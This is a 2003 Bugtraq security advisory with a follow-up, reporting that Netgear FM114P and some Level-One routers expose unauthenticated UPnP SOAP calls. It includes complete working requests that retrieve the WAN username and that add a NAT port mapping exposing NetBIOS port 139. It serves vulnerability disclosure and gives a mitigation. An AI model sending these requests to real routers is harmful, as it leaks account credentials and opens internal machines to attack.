ADDITION: °°°°°°°°° it seems that several routers from level-one are also vulnerable to the method described. and another nice feature is adding port mappings for passing through nat-firewall. --- sample for passing port 139 (netbios) from internal ip 192.168.0.2: --- POST /upnp/service/WANPPPConnection HTTP/1.1 Content-Type: text/xml; charset="utf-8" SOAPAction: "urn:schemas-upnp-org:service:WANPPPConnection:1#AddPortMapping" User-Agent: Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x) Host: 192.168.0.1 Content-Length: 1123 Connection: Keep-Alive Pragma: no-cache <?xml version="1.0"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"; SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/";> <SOAP-ENV:Body> <m:AddPortMapping xmlns:m="urn:schemas-upnp-org:service:WANPPPConnection:1"> <NewRemoteHost xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string"></NewRemoteHost> <NewExternalPort xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="ui2">139</NewExternalPort> <NewProtocol xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string">TCP</NewProtocol> <NewInternalPort xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="ui2">139</NewInternalPort> <NewInternalClient xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string">192.168.0.6</NewInternalClient> <NewEnabled xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="boolean">1</NewEnabled> <NewPortMappingDescription xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string">NetBios</NewPortMappingDescription> <NewLeaseDuration xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="ui4">0</NewLeaseDuration> </m:AddPortMapping> </SOAP-ENV:Body> </SOAP-ENV:Envelope> regards, b.stickler -----Original Message----- From: Björn Stickler [mailto:stickler@rbg.informatik.tu-darmstadt.de] Sent: Mittwoch, 2. April 2003 19:59 To: 'bugtraq@securityfocus.com' Cc: 'betabugs@netgear.com' hi, i found another security problem in netgear prosafe wireless router model FM114P: when remote-access and upnp features are enabled, the WAN connection username and password can be retrieved without any authentication using upnp. if remote management is enabled anyone can do this from the web. this is done by using upnp soap requests to the router with the functions GetUserName and GetPassword. i don´t know why such functions exist, because router configuration is normally done via web-interface. ---- begin of example request to get username -------------- POST /upnp/service/WANPPPConnection HTTP/1.1 HOST: 192.168.0.1:80 SOAPACTION: "urn:schemas-upnp-org:service:WANPPPConnection:1#GetUserName" CONTENT-TYPE: text/xml ; charset="utf-8" Content-Length: 289 <?xml version="1.0" encoding="utf-8"?> <s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"; xmlns:s="http://schemas.xmlsoap.org/soap/envelope/";> <s:Body> <u:GetUserName xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1" /> </s:Body> </s:Envelope> ---- end of example request to get username -------------- affected firmware versions: --> v1.4 Beta Release 21 has been tested --> all previous versions with upnp may be affected solution: disable remote management and/or upnp until bug is fixed by netgear regards, b.stickler http://intex.ath.cx
